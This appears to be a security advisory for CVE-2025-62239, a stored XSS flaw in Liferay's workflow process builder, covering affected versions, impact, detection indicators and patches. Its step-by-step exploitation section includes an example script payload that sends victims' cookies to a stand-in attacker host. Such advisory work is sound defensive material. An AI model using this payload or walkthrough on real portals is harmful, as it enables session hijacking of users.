CVE-2025-62239: 
Java vulnerability analysis and mitigation

CVE-2025-62239 is a stored Cross-Site Scripting (XSS) vulnerability in the workflow process builder component of Liferay Portal and Liferay DXP. It allows remote authenticated attackers to inject arbitrary web script or HTML via crafted input within a workflow definition. Affected versions include Liferay Portal 7.4.3.21 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, and 7.4 update 21 through update 92. The vulnerability was published on October 10, 2025, with a CVSS v3.1 score of 5.4 (Medium) and a CVSS v4.0 score of 4.6 (Medium) (GitHub Advisory, Liferay Security).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), rooted in insufficient sanitization of user-supplied input in the workflow process builder's definition fields (GitHub Advisory). An authenticated attacker with sufficient privileges to modify workflow definitions can embed malicious JavaScript or HTML payloads that are later rendered in other users' browsers when they view or interact with the affected workflow. The attack requires low complexity, network access, and user interaction from a victim, but does require the attacker to hold elevated (high) privileges to access the workflow definition editor. The fix was applied to the Maven package com.liferay:com.liferay.portal.workflow.kaleo.designer.web, patched in version 5.0.124 (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary client-side scripts in the browsers of other users who view the compromised workflow definition, resulting in low confidentiality and integrity impacts on the vulnerable system. Potential consequences include session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and manipulation of web page content displayed to other portal users (GitHub Advisory, Liferay Security). Availability is not impacted, and there is no direct impact on subsequent systems beyond the browser context of affected users.

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (GitHub Advisory). The EPSS score is approximately 0.028% (8th percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Gain authenticated access: Obtain credentials for a Liferay Portal or DXP account with permissions to create or modify workflow definitions (typically an administrator or workflow manager role).
2. Navigate to the workflow process builder: Log in and access the Control Panel → Process Builder → Workflows section within the Liferay administration interface.
3. Inject malicious payload: Create or edit a workflow definition and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) into a workflow definition field that is rendered without proper output encoding.
4. Publish the workflow: Save and publish the malicious workflow definition so it becomes accessible to other users.
5. Trigger victim interaction: Wait for or socially engineer another authenticated user (e.g., an administrator or end user) to view or interact with the affected workflow definition, causing the injected script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated via the attacker-controlled endpoint (GitHub Advisory).

• Logs: Liferay access logs showing POST requests to workflow definition creation/update endpoints (e.g., /o/headless-admin-workflow/v1.0/workflow-definitions or the Kaleo Designer portlet URL) containing encoded HTML or JavaScript in request bodies.
• Logs: Audit log entries for workflow definition modifications by accounts that do not typically manage workflows, or modifications made outside of business hours.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing workflow-related pages, potentially carrying cookie or session data in query parameters.
• File System: Unexpected changes to workflow definition XML files stored in the Liferay database or file system containing <script> tags or JavaScript event handlers.
• Process/Application: Browser-side errors or unexpected redirects reported by users after interacting with workflow definitions in the Liferay portal.

Liferay has released patches addressing this vulnerability: upgrade Liferay Portal to version 7.4.3.112 or later, Liferay DXP 2023.Q4 to version 2023.Q4.6 or later, and Liferay DXP 2023.Q3 to version 2023.Q3.9 or later. For DXP 7.4, the fix is included in the patched Maven component com.liferay.portal.workflow.kaleo.designer.web version 5.0.124 (GitHub Advisory, Liferay Security). As interim workarounds, administrators should restrict workflow definition modification permissions to the minimum necessary set of trusted users, implement strict input validation, and audit existing workflow definitions for suspicious content.